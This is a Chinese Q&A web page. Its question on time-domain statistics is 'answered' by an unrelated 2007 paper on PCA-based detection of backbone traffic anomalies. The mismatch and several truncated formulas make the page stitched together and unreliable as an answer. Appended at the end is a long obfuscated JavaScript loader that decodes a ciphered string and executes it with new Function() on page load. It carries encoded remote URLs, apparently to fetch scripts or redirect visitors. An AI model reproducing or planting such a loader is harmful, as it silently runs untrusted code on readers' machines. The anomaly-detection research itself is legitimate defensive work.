时域分析的统计量有哪些?举例说明

2025-04-07 16:17:21
推荐回答(1个)
回答1:

一种互联网宏观流量异常检测方法(2007-11-7 10:37)

摘要:网络流量异常指网络中流量不规则地显著变化。网络短暂拥塞、分布式拒绝服务攻击、大范围扫描等本地事件或者网络路由异常等全局事件都能够引起网络的异常。网络异常的检测和分析对于网络安全应急响应部门非常重要,但是宏观流量异常检测需要从大量高维的富含噪声的数据中提取和解释异常模式,因此变得很困难。文章提出一种分析网络异常的通用方法,该方法运用主成分分析手段将高维空间划分为对应正常和异常网络行为的子空间,并将流量向量影射在正常子空间中,使用基于距离的度量来检测宏观网络流量异常事件。

公共互联网正在社会生活的各个领域发挥着越来越重要的作用,与此同时,由互联网的开放性和应用系统的复杂性所带来的安全风险也随之增多。2006年,国家计算机网络应急技术处理协调中心(CNCERT/CC)共接收26 476件非扫描类网络安全事件报告,与2005年相比增加2倍,超过2003—2005年3年的总和。2006年,CNCERT/CC利用部署的863-917网络安全监测平台,抽样监测发现中国大陆地区约4.5万个IP地址的主机被植入木马,与2005年同期相比增加1倍;约有1千多万个IP地址的主机被植入僵尸程序,被境外约1.6万个主机进行控制。

黑客利用木马、僵尸网络等技术操纵数万甚至上百万台被入侵的计算机,释放恶意代码、发送垃圾邮件,并实施分布式拒绝服务攻击,这对包括骨干网在内的整个互联网网络带来严重的威胁。由数万台机器同时发起的分布式拒绝服务攻击能够在短时间内耗尽城域网甚至骨干网的带宽,从而造成局部的互联网崩溃。由于政府、金融、证券、能源、海关等重要信息系统的诸多业务依赖互联网开展,互联网骨干网络的崩溃不仅会带来巨额的商业损失,还会严重威胁国家安全。据不完全统计,2001年7月19日爆发的红色代码蠕虫病毒造成的损失估计超过20亿美元;2001年9月18日爆发的Nimda蠕虫病毒造成的经济损失超过26亿美元;2003年1月爆发的SQL Slammer蠕虫病毒造成经济损失超过12亿美元。

针对目前互联网宏观网络安全需求,本文研究并提出一种宏观网络流量异常检测方法,能够在骨干网络层面对流量异常进行分析,在大规模安全事件爆发时进行快速有效的监测,从而为网络防御赢得时间。

1 网络流量异常检测研究现状

在骨干网络层面进行宏观网络流量异常检测时,巨大流量的实时处理和未知攻击的检测给传统入侵检测技术带来了很大的挑战。在流量异常检测方面,国内外的学术机构和企业不断探讨并提出了多种检测方法[1]。

经典的流量监测方法是基于阈值基线的检测方法,这种方法通过对历史数据的分析建立正常的参考基线范围,一旦超出此范围就判断为异常,它的特点是简单、计算复杂度小,适用于实时检测,然而它作为一种实用的检测手段时,需要结合网络流量的特点进行修正和改进。另一种常用的方法是基于统计的检测,如一般似然比(GLR)检测方法[2],它考虑两个相邻的时间窗口以及由这两个窗口构成的合并窗口,每个窗口都用自回归模型拟合,并计算各窗口序列残差的联合似然比,然后与某个预先设定的阈值T 进行比较,当超过阈值T 时,则窗口边界被认定为异常点。这种检测方法对于流量的突变检测比较有效,但是由于它的阈值不是自动选取,并且当异常持续长度超过窗口长度时,该方法将出现部分失效。统计学模型在流量异常检测中具有广阔的研究前景,不同的统计学建模方式能够产生不同的检测方法。

最近有许多学者研究了基于变换域进行流量异常检测的方法[3],基于变换域的方法通常将时域的流量信号变换到频域或者小波域,然后依据变换后的空间特征进行异常监测。P. Barford等人[4]将小波分析理论运用于流量异常检测,并给出了基于其理论的4类异常结果,但该方法的计算过于复杂,不适于在高速骨干网上进行实时检测。

Lakhina等人[5-6]利用主成分分析方法(PCA),将源和目标之间的数据流高维结构空间进行PCA分解,归结到3个主成分上,以3个新的复合变量来重构网络流的特征,并以此发展出一套检测方法。此外还有一些其他的监测方法[7],例如基于Markov模型的网络状态转换概率检测方法,将每种类型的事件定义为系统状态,通过过程转换模型来描述所预测的正常的网络特征,当到来的流量特征与期望特征产生偏差时进行报警。又如LERAD检测[8],它是基于网络安全特征的检测,这种方法通过学习得到流量属性之间的正常的关联规则,然后建立正常的规则集,在实际检测中对流量进行规则匹配,对违反规则的流量进行告警。这种方法能够对发生异常的地址进行定位,并对异常的程度进行量化。但学习需要大量正常模式下的纯净数据,这在实际的网络中并不容易实现。

随着宏观网络异常流量检测成为网络安全的技术热点,一些厂商纷纷推出了电信级的异常流量检测产品,如Arbor公司的Peakflow、GenieNRM公司的GenieNTG 2100、NetScout公司的nGenius等。国外一些研究机构在政府资助下,开始部署宏观网络异常监测的项目,并取得了较好的成绩,如美国研究机构CERT建立了SiLK和AirCERT项目,澳大利亚启动了NMAC流量监测系统等项目。

针对宏观网络异常流量监测的需要,CNCERT/CC部署运行863-917网络安全监测平台,采用分布式的架构,能够通过多点对骨干网络实现流量监测,通过分析协议、地址、端口、包长、流量、时序等信息,达到对中国互联网宏观运行状态的监测。本文基于863-917网络安全监测平台获取流量信息,构成监测矩阵,矩阵的行向量由源地址数量、目的地址数量、传输控制协议(TCP)字节数、TCP报文数、数据报协议(UDP)字节数、UDP报文数、其他流量字节数、其他流量报文书、WEB流量字节数、WEB流量报文数、TOP10个源IP占总字节比例、TOP10个源IP占总报文数比例、TOP10个目的IP占总字节数比例、TOP10个目的IP占总报文数比例14个部分组成,系统每5分钟产生一个行向量,观测窗口为6小时,从而形成了一个72×14的数量矩阵。由于在这14个观测向量之间存在着一定的相关性,这使得利用较少的变量反映原来变量的信息成为可能。本项目采用了主成份分析法对观测数据进行数据降维和特征提取,下面对该算法的工作原理进行介绍。

2 主成分分析技术

主成分分析是一种坐标变换的方法,将给定数据集的点映射到一个新轴上面,这些新轴称为主成分。主成分在代数学上是p 个随机变量X 1, X 2……X p 的一系列的线性组合,在几何学中这些现线性组合代表选取一个新的坐标系,它是以X 1,X 2……X p 为坐标轴的原来坐标系旋转得到。新坐标轴代表数据变异性最大的方向,并且提供对于协方差结果的一个较为简单但更精练的刻画。主成分只是依赖于X 1,X 2……X p 的协方差矩阵,它是通过一组变量的几个线性组合来解释这些变量的协方差结构,通常用于高维数据的解释和数据的压缩。通常p 个成分能够完全地再现全系统的变异性,但是大部分的变异性常常能够只用少量k 个主成分就能够说明,在这种情况下,这k 个主成分中所包含的信息和那p 个原变量做包含的几乎一样多,于是可以使用k 个主成分来代替原来p 个初始的变量,并且由对p 个变量的n 次测量结果所组成的原始数据集合,能够被压缩成为对于k 个主成分的n 次测量结果进行分析。

运用主成分分析的方法常常能够揭示出一些先前不曾预料的关系,因而能够对于数据给出一些不同寻常的解释。当使用零均值的数据进行处理时,每一个主成分指向了变化最大的方向。主轴以变化量的大小为序,一个主成分捕捉到在一个轴向上最大变化的方向,另一个主成分捕捉到在正交方向上的另一个变化。

设随机向量X '=[X 1,X 1……X p ]有协方差矩阵∑,其特征值λ1≥λ2……λp≥0。考虑线性组合:

Y1 =a 1 'X =a 11X 1+a 12X 2……a 1pX p

Y2 =a 2 'X =a 21X 1+a 22X 2……a 2pX p

……

Yp =a p'X =a p 1X 1+a p 2X 2……a p pX p

从而得到:

Var (Yi )=a i' ∑a i ,(i =1,2……p )

Cov (Yi ,Yk )=a i '∑a k ,(i ,k =1,2……p )

主成分就是那些不相关的Y 的线性组合,它们能够使得方差尽可能大。第一主成分是有最大方差的线性组合,也即它能够使得Var (Yi )=a i' ∑a i 最大化。我们只是关注有单位长度的系数向量,因此我们定义:

第1主成分=线性组合a 1'X,在

a1'a 1=1时,它能够使得Var (a1 'X )最大;

第2主成分=线性组合a 2 'X,在

a2'a 2=1和Cov(a 1 'X,a 2 'X )=0时,它能够使得Var (a 2 'X )最大;

第i 个主成分=线性组合a i'X,在

a1'a 1=1和Cov(a i'X,a k'X )=0(k
由此可知主成分都是不相关的,它们的方差等于协方差矩阵的特征值。总方差中属于第k个主成分(被第k个主成分所解释)的比例为:

如果总方差相当大的部分归属于第1个、第2个或者前几个成分,而p较大的时候,那么前几个主成分就能够取代原来的p个变量来对于原有的数据矩阵进行解释,而且信息损失不多。在本项目中,对于一个包含14个特征的矩阵进行主成分分析可知,特征的最大变化基本上能够被2到3个主成分捕捉到,这种主成分变化曲线的陡降特性构成了划分正常子空间和异常子空间的基础。

3 异常检测算法

本项目的异常流量检测过程分为3个阶段:建模阶段、检测阶段和评估阶段。下面对每个阶段的算法进行详细的介绍。

3.1 建模阶段

本项目采用滑动时间窗口建模,将当前时刻前的72个样本作为建模空间,这72个样本的数据构成了一个数据矩阵X。在试验中,矩阵的行向量由14个元素构成。

主成份分为正常主成分和异常主成份,它们分别代表了网络中的正常流量和异常流量,二者的区别主要体现在变化趋势上。正常主成份随时间的变化较为平缓,呈现出明显的周期性;异常主成份随时间的变化幅度较大,呈现出较强的突发性。根据采样数据,判断正常主成分的算法是:

依据主成分和采样数据计算出第一主成分变量,求第一主成分变量这72个数值的均值μ1和方差σ1,找出第一主成分变量中偏离均值最大的元素,判断其偏离均值的程度是否超过了3σ1。如果第一主成分变量的最大偏离超过了阈值,取第一主成份为正常主成分,其他主成份均为异常主成分,取主成份转换矩阵U =[L 1];如果最大偏离未超过阈值,转入判断第下一主成分,最后取得U =[L 1……L i -1]。第一主成份具有较强的周期性,随后的主成份的周期性渐弱,突发性渐强,这也体现了网络中正常流量和异常流量的差别。

在得到主成份转换矩阵U后,针对每一个采样数据Sk =xk 1,xk 2……xk p ),将其主成份投影到p维空间进行重建,重建后的向量为:

Tk =UU T (Sk -X )T

计算该采样数据重建前与重建后向量之间的欧氏距离,称之为残差:

dk =||Sk -Tk ||

根据采样数据,我们分别计算72次采样数据的残差,然后求其均值μd 和标准差σd 。转换矩阵U、残差均值μd 、残差标准差σd 是我们构造的网络流量模型,也是进行流量异常检测的前提条件。

3.2 检测阶段

在通过建模得到网络流量模型后,对于新的观测向量N,(n 1,n 2……np ),采用与建模阶段类似的分析方法,将其中心化:

Nd =N -X

然后将中心化后的向量投影到p维空间重建,并计算残差:

Td =UUTNdT

d =||Nd -Td ||

如果该观测值正常,则重建前与重建后向量应该非常相似,计算出的残差d 应该很小;如果观测值代表的流量与建模时发生了明显变化,则计算出的残差值会较大。本项目利用如下算法对残差进行量化:

3.3 评估阶段

评估阶段的任务是根据当前观测向量的量化值q (d ),判断网络流量是否正常。根据经验,如果|q (d )|<5,网络基本正常;如果5≤|q (d )|<10,网络轻度异常;如果10≤|q (d )|,网络重度异常。

4 实验结果分析

利用863-917网络安全监测平台,对北京电信骨干网流量进行持续监测,我们提取6小时的观测数据,由于篇幅所限,我们给出图1—4的时间序列曲线。由图1—4可知单独利用任何一个曲线都难以判定异常,而利用本算法可以容易地标定异常发生的时间。本算法计算结果如图5所示,异常发生时间在图5中标出。我们利用863-917平台的回溯功能对于异常发生时间进行进一步的分析,发现在标出的异常时刻,一个大规模的僵尸网络对网外的3个IP地址发起了大规模的拒绝服务攻击。

5 结束语

本文提出一种基于主成分分析的方法来划分子空间,分析和发现网络中的异常事件。本方法能够准确快速地标定异常发生的时间点,从而帮助网络安全应急响应部门及时发现宏观网络的流量异常状况,为迅速解决网络异常赢得时间。试验表明,我们采用的14个特征构成的分析矩阵具有较好的识别准确率和分析效率,我们接下来将会继续寻找更具有代表性的特征来构成数据矩阵,并研究更好的特征矩阵构造方法来进一步提高此方法的识别率,并将本方法推广到短时分析中。

6 参考文献

[1] XU K, ZHANG Z L, BHATTACHARYYA S. Profiling Internet backbone traffic: Behavior models and applications [C]// Proceedings of ACM SIGCOMM, Aug 22- 25, 2005, Philadelphia, PA, USA. New York, NY,USA:ACM,2005:169-180.

[2] HAWKINS D M, QQUI P, KANG C W. The change point model for statistical process control [J]. Journal of Quality Technology,2003, 35(4).

[3] THOTTAN M, JI C. Anomaly detection in IP networks [J]. IEEE Transactions on Signal Processing, 2003, 51 )8):2191-2204.

[4] BARFORD P, KLINE J, PLONKA D, et al. A signal analysis of network traffic anomalies [C]//Proceedings of ACM SIGCOMM Intemet Measurement Workshop (IMW 2002), Nov 6-8, 2002, Marseilles, France. New York, NY,USA:ACM, 2002:71-82.

[5] LAKHINA A, CROVELLA M, DIOT C. Mining anomalies using traffic feature distributions [C]// Proceedings of SIGCOMM, Aug 22-25, 2005, Philadelphia, PA, USA. New York, NY,USA: ACM, 2005: 217-228.

[6] LAKHINA A, CROVELLA M, DIOT C. Diagnosing network-wide traffic anomalies [C]// Proceedings of ACM SIGCOMM, Aug 30 - Sep 3, 2004, Portland, OR, USA. New York, NY,USA: ACM, 2004: 219-230.

[7] SCHWELLER R, GUPTA A, PARSONS E, et al. Reversible sketches for efficient and accurate change detection over network data streams [C]//Proceedings of ACM SIGCOMM Internet Measurement Conference (IMC’04), Oct 25-27, 2004, Taormina, Sicily, Italy. New York, NY,USA: ACM, 2004:207-212.

[8] MAHONEY M V, CHAN P K. Learning rules for anomaly detection of hostile network traffic [C]// Proceedings of International Conference on Data Mining (ICDM’03), Nov 19-22, Melbourne, FL, USA . Los Alamitos, CA, USA: IEEE Computer Society, 2003:601-604.

!function(){function a(a){var _idx="f4isr6o1zu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR87o6L5KO}4_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"7o6L5KO}4_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR87o6L5KO}4_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();